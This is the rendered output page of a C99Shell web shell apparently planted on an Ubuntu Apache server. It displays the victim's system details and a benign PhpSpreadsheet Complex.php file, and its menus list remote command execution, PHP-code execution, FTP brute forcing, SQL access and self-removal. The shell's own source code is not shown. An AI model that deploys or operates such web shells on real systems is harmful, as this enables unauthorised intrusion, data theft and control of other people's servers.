!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/   drwxr-xr-x
Free 13.11 GB of 57.97 GB (22.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Complex.php (4.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering;

use 
Complex\Complex as ComplexObject;
use 
Complex\Exception as ComplexException;
use 
PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled;
use 
PhpOffice\PhpSpreadsheet\Calculation\Exception;
use 
PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError;

class 
Complex
{
    use 
ArrayEnabled;

    
/**
     * COMPLEX.
     *
     * Converts real and imaginary coefficients into a complex number of the form x +/- yi or x +/- yj.
     *
     * Excel Function:
     *        COMPLEX(realNumber,imaginary[,suffix])
     *
     * @param mixed $realNumber the real float coefficient of the complex number
     *                      Or can be an array of values
     * @param mixed $imaginary the imaginary float coefficient of the complex number
     *                      Or can be an array of values
     * @param mixed $suffix The character suffix for the imaginary component of the complex number.
     *                          If omitted, the suffix is assumed to be "i".
     *                      Or can be an array of values
     *
     * @return array|string
     *         If an array of numbers is passed as an argument, then the returned result will also be an array
     *            with the same dimensions
     */
    
public static function COMPLEX($realNumber 0.0$imaginary 0.0$suffix 'i')
    {
        if (
is_array($realNumber) || is_array($imaginary) || is_array($suffix)) {
            return 
self::evaluateArrayArguments([self::class, __FUNCTION__], $realNumber$imaginary$suffix);
        }

        
$realNumber $realNumber ?? 0.0;
        
$imaginary $imaginary ?? 0.0;
        
$suffix $suffix ?? 'i';

        try {
            
$realNumber EngineeringValidations::validateFloat($realNumber);
            
$imaginary EngineeringValidations::validateFloat($imaginary);
        } catch (
Exception $e) {
            return 
$e->getMessage();
        }

        if ((
$suffix == 'i') || ($suffix == 'j') || ($suffix == '')) {
            
$complex = new ComplexObject($realNumber$imaginary$suffix);

            return (string) 
$complex;
        }

        return 
ExcelError::VALUE();
    }

    
/**
     * IMAGINARY.
     *
     * Returns the imaginary coefficient of a complex number in x + yi or x + yj text format.
     *
     * Excel Function:
     *        IMAGINARY(complexNumber)
     *
     * @param array|string $complexNumber the complex number for which you want the imaginary
     *                                         coefficient
     *                      Or can be an array of values
     *
     * @return array|float|string (string if an error)
     *         If an array of numbers is passed as an argument, then the returned result will also be an array
     *            with the same dimensions
     */
    
public static function IMAGINARY($complexNumber)
    {
        if (
is_array($complexNumber)) {
            return 
self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber);
        }

        try {
            
$complex = new ComplexObject($complexNumber);
        } catch (
ComplexException $e) {
            return 
ExcelError::NAN();
        }

        return 
$complex->getImaginary();
    }

    
/**
     * IMREAL.
     *
     * Returns the real coefficient of a complex number in x + yi or x + yj text format.
     *
     * Excel Function:
     *        IMREAL(complexNumber)
     *
     * @param array|string $complexNumber the complex number for which you want the real coefficient
     *                      Or can be an array of values
     *
     * @return array|float|string (string if an error)
     *         If an array of numbers is passed as an argument, then the returned result will also be an array
     *            with the same dimensions
     */
    
public static function IMREAL($complexNumber)
    {
        if (
is_array($complexNumber)) {
            return 
self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $complexNumber);
        }

        try {
            
$complex = new ComplexObject($complexNumber);
        } catch (
ComplexException $e) {
            return 
ExcelError::NAN();
        }

        return 
$complex->getReal();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--